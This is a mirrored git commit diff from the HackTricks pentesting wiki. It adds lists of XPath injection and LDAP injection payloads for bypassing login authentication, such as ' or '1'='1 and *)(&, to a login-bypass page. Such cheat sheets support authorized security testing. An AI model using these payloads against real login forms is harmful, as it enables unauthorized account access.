mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [master] one page modified
This commit is contained in:
parent
fd9418521e
commit
46617092f7
1 changed files with 33 additions and 4 deletions
|
@ -30,12 +30,41 @@ As the NoSQL Injections requires to change the parameters value, you will need t
|
|||
|
||||
### XPath Injection authentication bypass
|
||||
|
||||
[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass)\*\*\*\*
|
||||
|
||||
```text
|
||||
' or '1'='1
|
||||
' or ''='
|
||||
' or 1]%00
|
||||
' or /* or '
|
||||
' or "a" or '
|
||||
' or 1 or '
|
||||
' or true() or '
|
||||
'or string-length(name(.))<10 or'
|
||||
'or contains(name,'adm') or'
|
||||
'or contains(.,'adm') or'
|
||||
'or position()=2 or'
|
||||
admin' or '
|
||||
admin' or '1'='2
|
||||
```
|
||||
|
||||
##
|
||||
### LDAP Injection authentication bypass
|
||||
|
||||
[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass)\*\*\*\*
|
||||
|
||||
```text
|
||||
*
|
||||
*)(&
|
||||
*)(|(&
|
||||
pwd)
|
||||
*)(|(*
|
||||
*))%00
|
||||
admin)(&)
|
||||
pwd
|
||||
admin)(!(&(|
|
||||
pwd))
|
||||
admin))(|(|
|
||||
```
|
||||
|
||||
|
||||
|
||||
* [**XPath Injection**](../xpath-injection.md)
|
||||
* [**LDAP Injection**](../ldap-injection.md)
|
||||
|
||||
|
|
Loading…
Reference in a new issue